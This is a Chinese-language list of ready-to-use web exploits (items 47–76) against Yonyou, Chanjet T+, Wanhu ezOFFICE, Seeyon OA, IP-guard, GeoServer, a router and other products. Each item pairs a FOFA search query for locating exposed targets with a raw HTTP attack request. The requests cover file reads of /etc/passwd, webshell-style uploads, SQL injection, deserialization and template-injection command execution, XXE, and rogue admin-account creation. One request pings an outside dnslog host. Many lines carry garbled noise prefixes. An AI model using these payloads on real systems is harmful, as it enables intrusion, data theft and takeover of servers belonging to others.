% F2 G/ W- f3 L8 V  B* Y; n3 E
% j# b  S0 ^) n" ~3 a* z1 q) D# }
. D( Q8 T: R8 S- S, t* I47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
* ?9 L+ W% Q; j( C1 uGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
( p4 S8 k4 ?( rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* k7 g! b4 {  o# I8 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
0 Z# \0 |; N0 C- w, |- KIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
' S9 v: W  R  E" n; aConnection: close

- \% ?6 N. q$ S1 y5 [

/ \+ a! C+ }- o" L% X6 ^. |; \( s2 T48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
/ q# R" u7 v' U: j& fPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
# C7 [2 E3 X$ d+ Y$ ?" V$ }: pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 H# p  P8 u' v" m0 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- B* p4 A; i5 u2 o- vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# s4 H. d4 k' i& WAccept-Encoding: gzip, deflate
& R# ?$ ^/ S, i  W1 V  MContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
0 L. G5 S! j# Y+ H7 D, G------269520967239406871642430066855
& z" m/ S9 Z' g' lContent-Disposition: form-data; name="file"; filename="s.php"
0 y+ L8 W0 n+ X# y1 ]( _1231
9 h$ U" I2 Y- n- p' N8 N7 {7 ?Content-Type: application/octet-stream
# `# P! T2 Q: Z  A  o7 f& |# S( M------269520967239406871642430066855
. v/ D9 [. J4 E- y; P6 LContent-Disposition: form-data; name="upload"
upload
" [) G; J* t0 T/ {) V------269520967239406871642430066855--

9 F, f  n+ P4 `! x4 k! Q% H
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

0 }' h2 k, G, \# ?( X" GPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! k6 d$ A, N& n- N* W  ]Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
+ n* U4 l- P& E1 v+ zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
: D& T6 R5 V  N+ D1 e" W1 S
- p6 ^9 [9 D" u+ E6 l7 W/ a-----------------------------vvv3wdayqv3yppdxvn3w
( j2 _* ?5 j. H( K* V9 U8 OContent-Disposition: form-data; name="file"; filename="%s.php "
  C8 M+ D7 f" z( @/ i6 FContent-Type: application/octet-stream

wersqqmlumloqa
* i7 f8 J4 b9 A1 \& R-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
- [0 Z7 I" ^' R1 Q9 ?- Q7 c7 |" N-----------------------------vvv3wdayqv3yppdxvn3w--


' ]& e0 c0 G/ g- w# _9 Chttp://x.x.x.x/tmpfile/updB3CB.tmp.php
3 u* [' a3 S2 G5 i4 i: T0 L
50. QDocs Smart School 6.4.1 filterRecords SQL注入
) y+ G+ w, ^9 t$ {  U; Y- F+ wFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
5 @' P6 P0 M' ^" R, lUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
9 i& n: R8 h0 n/ M$ w( |Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
/ \- O) B! @, d% l
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
+ w- C/ [0 O# _+ S7 F6 dFOFA：app="云时空社会化商业ERP系统"
1 H% s! V9 E9 EGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
, q# {/ T. u# n$ Q3 U1 q' ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
$ E$ W- I; U% E* a8 w2 Z5 x$ r2 gAccept-Encoding: gzip, deflate
/ z9 P" b  Q* ?/ d( s" ]  O  pAccept-Language: zh-CN,zh;q=0.9
Connection: close
8 G% {6 m, t+ i/ Z; u
# D# `2 d3 _, Q0 @
+ i  T; b: b. B' D7 a52. 泛微E-Office json_common.php sql注入
* }8 o7 F+ m& ?6 E1 j6 q3 nFOFA：app="泛微-EOffice"
0 m! |3 x" J4 f, _  jPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- z# w. m. j! E, u3 ~+ iConnection: close
Content-Length: 87
Accept: */*
3 M5 S) e2 ]; e7 w& ]. ]; ~Accept-Language: en
/ P  i7 b  b) g/ ^1 p  a% iContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

4 P4 c8 }; Z$ X- I' Ftfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
9 a0 Q5 R1 p% b5 x5 H& A

53. 迪普 DPTech VPN Service 任意文件上传
' ~9 a  i; Y% y! T1 vFOFA：app="DPtech-SSLVPN"
1 h& A) ~3 l; u5 }/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
2 g7 H* t3 a' O% ^* g* a

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
% \3 b- o5 Y2 `& D; y7 q6 X& J1 J"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


6 B) |! b1 x7 p1 M$ D' A8 t7 c* X完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
8 a( n* {4 l7 t. kHost: x.x.x.x
% R) D4 P/ s8 tUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
# E: |8 e% I# t$ c! qContent-Length: 593
2 h# G- D& |2 B1 \7 h# T
{
"storeID":{
$ f! {7 P1 \7 A+ Q "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
- ^" E" Q+ ]+ n8 Y% F "MethodName":"Start",
! o! X/ }4 C) @/ |0 {" s" _  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
9 X# N  k0 Y- \( u  o   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
# x1 Q, Y) p& |% X    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
/ e$ d1 X9 r+ x! p/ @: d% s  }
- K4 T/ V& F0 Y5 x}
' b3 @) @8 v* N- u: G7 Z7 J7 q

第二步，访问如下url
7 ]7 u8 |" L) h  ^  X/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
/ E) i% c$ d+ {- b9 S/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
: ^6 D7 k& n( z4 z2 ^, Q第二步，利用获取到的Cookie请求
2 B% Q4 ~8 E. A# Q  d  m/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
2 B& Y5 f( S; A; X
/ y' H8 }+ Q) R7 ^56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
6 D7 d2 n( z) qPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
2 x- L/ Q& p6 h9 {4 a' w' u( I
( p) Z+ b; T3 y( R' b{
  "storeID":{
  X4 k8 j1 `8 g( G  }( I, i2 U    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
1 d) L9 U- H; f& S   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
: o: [5 W3 a# `5 ~& A( ]           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
, L, K. ^; @! I% t7 I8 c    }
5 W/ |& f$ A! @* j% @! I  }
}


. |1 F: W* z7 D, n2 O57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
' r9 i. Y& ]6 b' n" q# gHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
9 B, D7 |1 W2 KAccept-Charset: utf-8
6 j, m% N* Z: w# h8 CAccept-Encoding: gzip, deflate
Connection: close
0 F' l! A' b8 h1 u8 D5 E, L

58. 畅捷通T+ KeyInfoList.aspx sql注入
/ y0 r: j* e$ @FOFA：app="畅捷通-TPlus"
2 i. }9 K% F0 rGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
4 {0 f5 @' K5 o) pUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
( o9 B+ |7 C! h. z& ?Accept-Charset: utf-8
* J; S9 v3 h7 Y# A3 e' R4 p/ K& xAccept-Encoding: gzip, deflate
+ k; n- C: E6 _# [( X5 J$ k- k2 yConnection: close

! r* y9 N/ T5 m0 ?
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
5 p$ a2 {1 C' q- f0 s) d* }, S* L7 y$ wContent-Length: 1669
1 _/ P$ Z/ g, {/ q* \$ hAccept: */*
Accept-Language: en
& L) p% h9 F' J5 c" J; GContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

8 l0 P( t$ t. J' B! D  d' ^8 mPAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
. f  s  T/ i; Y6 m. C4 v7 {FOFA：title="Smart管理平台"
9 H0 U1 \5 E8 I" G1 wGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
: M* T# [. L2 X) A& T, B& UHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 R- h- S+ O, }+ y( v% [/ JAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' G8 j: [$ E* n. eConnection: close

3 d" u$ R$ m' h; Y" H$ }8 j
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
2 N' l6 j: ]2 I& O# l2 ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- O$ s. E$ B  h2 `8 Q& pContent-Length: 27
) _6 V0 J) K- c* g5 ^) @9 ^Accept: */*
% e$ o- G& Q' y$ OAccept-Encoding: gzip, deflate
Accept-Language: en
4 ^; l+ [' ]7 o! c7 zContent-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
# A# \6 \$ L! m8 M; T5 f7 DFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
1 ^* X! j! u  h6 l% k" ~( {Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
9 n/ o: I( {1 R. i8 _; Z2 DAccept: */*
9 L# g/ y5 k) LAccept-Language: en
Accept-Encoding: gzip


$ _7 }0 j( }- _; u5 V  [6 ^访问

; l" e8 k" ^- J  T: t6 s' EGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
5 K' X+ a; T. Z0 s) X% [, U  Z, rHost: x.x.x.x
" K& ?; V8 }  s' r" {% J9 q' h2 J: ^
6 N  R4 _7 q& ~! \
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
% Y1 N* c' S* x; ]) \: W3 t' lContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
/ l+ K$ I7 O* H& j, w3 V3 N
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
0 e: y# P9 j" A) }POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
; O( V% b# o( H( q  lHost: 192.168.86.128:9001
' M. V7 q' J) R" X  xUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
: H" V! l" z, O3 q) MConnection: close
Content-Length: 369
Accept: */*
Accept-Language: en
! j7 r+ W4 l8 V' C3 |2 E$ N! |Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
' k  e% b8 N* @. ]: \/ P  A<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
7 R" a- j# B2 @6 |2 h, W8 _& j# _<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
$ d% a1 r9 _" P; ?  </soap:Body>
</soap:Envelope>

+ K0 B( k5 j& b) s) D. _9 I
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
; p0 f5 g$ d2 o: O/ p  p响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
7 S$ q( j1 M' aHost:
0 }" S. e! _5 w1 T! t4 q% x; OUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
: x9 @/ m; r: e4 lAccept-Encoding: gzip, deflate
* o2 y  \; T4 ^% h% u: LAccept: */*
Connection: close
, l( k3 F8 B% T$ F. P- j/ F1 z! GAccept-Language: en
Content-Length: 174
+ G1 z" L4 d3 M( s2 A' m3 {
5 p6 u9 d- ?" j' z5 c( T# W) h( P8 joperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

% B9 k, H1 w" H" H$ W: ^+ N; s
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
4 S* P6 _4 o% S) gFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
! W' H- J2 B2 k, LAccept-Encoding: gzip

; }9 h/ N0 E  A# O6 C( C  e
. V, S+ s, n; o! ?4 N% J. C第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

! [- w% O" G/ C9 ^, u2 S5 p* M( P0 j67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
! E9 F7 T2 e8 s  i3 S+ G4 H5 @Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
7 U: H2 R2 [, t3 V( d9 KAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  l# d- Z  p0 ?* i4 zConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
0 K6 s" {* Z! e/ u! K9 C- q6 aDNT: 1
' u7 B5 @/ s3 S8 k* L9 a+ dUpgrade-Insecure-Requests: 1
  c/ K( r4 S* F# P
3 a/ `4 g& [* A; C+ A: B, G--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
6 d4 j# O6 Q; N7 f7 n$ Y0 T+ C
7 o; }0 z9 y& j8 l. y) L. k<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
' C& }3 M% p  k, s2 a& ~! s
$ F" F. U/ D6 k. L68. 万户ezOFFICE wf_printnum.jsp SQL注入
7 Q0 K+ i3 n7 k, S$ ]5 GFOFA：app="万户ezOFFICE协同管理平台"
) Y! H% X, G8 D0 cGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
. k! t0 a: @  l8 U9 p6 b: H& FHost: {{host}}
5 H3 q8 ]0 ?8 l8 ~) cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
. P9 V, l) q5 {0 F/ tAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 d5 ]; E/ |) j; w5 Y% M: {, d0 @' xConnection: close
' m4 F' R+ Y7 r( c, A9 H4 @* Y
4 M+ K' N- f$ O# p6 a, w* O+ Q
69. 万户 ezOFFICE contract_gd.jsp SQL注入
6 X5 q: _3 Q$ SFOFA：app="万户ezOFFICE协同管理平台"
3 j* B6 n8 b, g6 m' wGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
% w! S2 o. p2 R4 [+ aHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
) z& p4 j" r' ^* E/ Z5 D' BAccept: */*
Connection: keep-alive

; i6 F0 Z. Q9 }9 Q7 s( k5 m
; X& R4 H. b0 K* {4 O5 f70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
0 M' ?9 R% [( Z! ?2 ^" VPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+ E3 u) d2 b  m/ R0 i" Z& z9 X4 ?SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
, O- Y% J! O) ]4 E/ ]6 h5 F3 ~TYPE: C
Content-Length: 16702
# H2 R) X% J( A6 K/ H1 Q, R
8 ~$ q2 f* q8 Y7 O__VIEWSTATE=PAYLOAD


( s5 }/ X8 q( G$ y/ c0 l8 d/ i6 Q71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
0 L1 V! c; K( N$ R9 R& H. eFOFA：body="PM2项目管理系统BS版增强工具.zip"
0 r" D9 B9 ^2 n6 O& sGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
% P. R6 I. N0 V2 DConnection: close
9 W) O! {6 G2 m; ^1 M/ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


3 j( H8 X: A" y7 r  W# l; Z/ Z72. 致远OA getAjaxDataServlet XXE
* R* u9 X! a3 H5 y$ \FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
/ }) J* f$ v0 SHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
1 _" A) Z! y* X. uConnection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
' I- X2 [8 Z+ _$ I8 k! C: IAccept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
6 I3 m  k9 i" D# X# W0 K& D

73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
8 d1 r: A! n2 i. P) N' `6 U; cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
3 h  w! u& o: G( _, DContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
6 ?1 L) ^8 A* K  ?; j) F& W1 a1 JSL-CE-SUID: 3
. ]6 ~8 }! C, T4 x+ b
PAYLOAD
# J  ~/ m$ c* P$ C

74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

0 v: @+ J, Z- S0 U! o7 w8 N75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
) {6 s; J* {% B7 Z- eGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
/ B7 I* Q6 T- _7 o4 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
, e& i) {1 T' u. N) _! X1 ^Accept-Language: en
' r0 r0 m4 D8 X4 D$ eAccept-Encoding: gzip

" ~* q/ o9 T+ ]/ A% P
GET /cgi-bin/test28256.txt HTTP/1.1
0 G- Y5 m$ I- c9 wHost: x.x.x.x
# S8 m2 U7 f. E3 d& G% s
6 y. S, c& J1 c  ~% @4 ~0 ^  h
! q5 Z: W; [. [- S& P76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
3 s  z8 h+ V% U" eHost: x.x.x.x
& g! F8 g9 L% R( E" kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
# c' ~/ @7 z  K8 S$ U7 nConnection: close
Content-Length: 211
! W" p* ?6 c% h; O  y2 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 v2 P7 n$ e/ G, E- w# C6 UAccept-Encoding: gzip, deflate
* f! K& h' s, E3 F9 U0 G5 FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

8 d8 s" S. I( Z6 o! R{
"command": "GetFZinfo",
) S! v$ `/ ~3 k5 d0 s  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
; }, ~  Q4 [6 ?2 C4 b& I0 }  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


9 J4 l$ h' R& E* ?GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
$ @) t7 q3 ~6 h1 N" v% [( e$ pHost: x.x.x.x

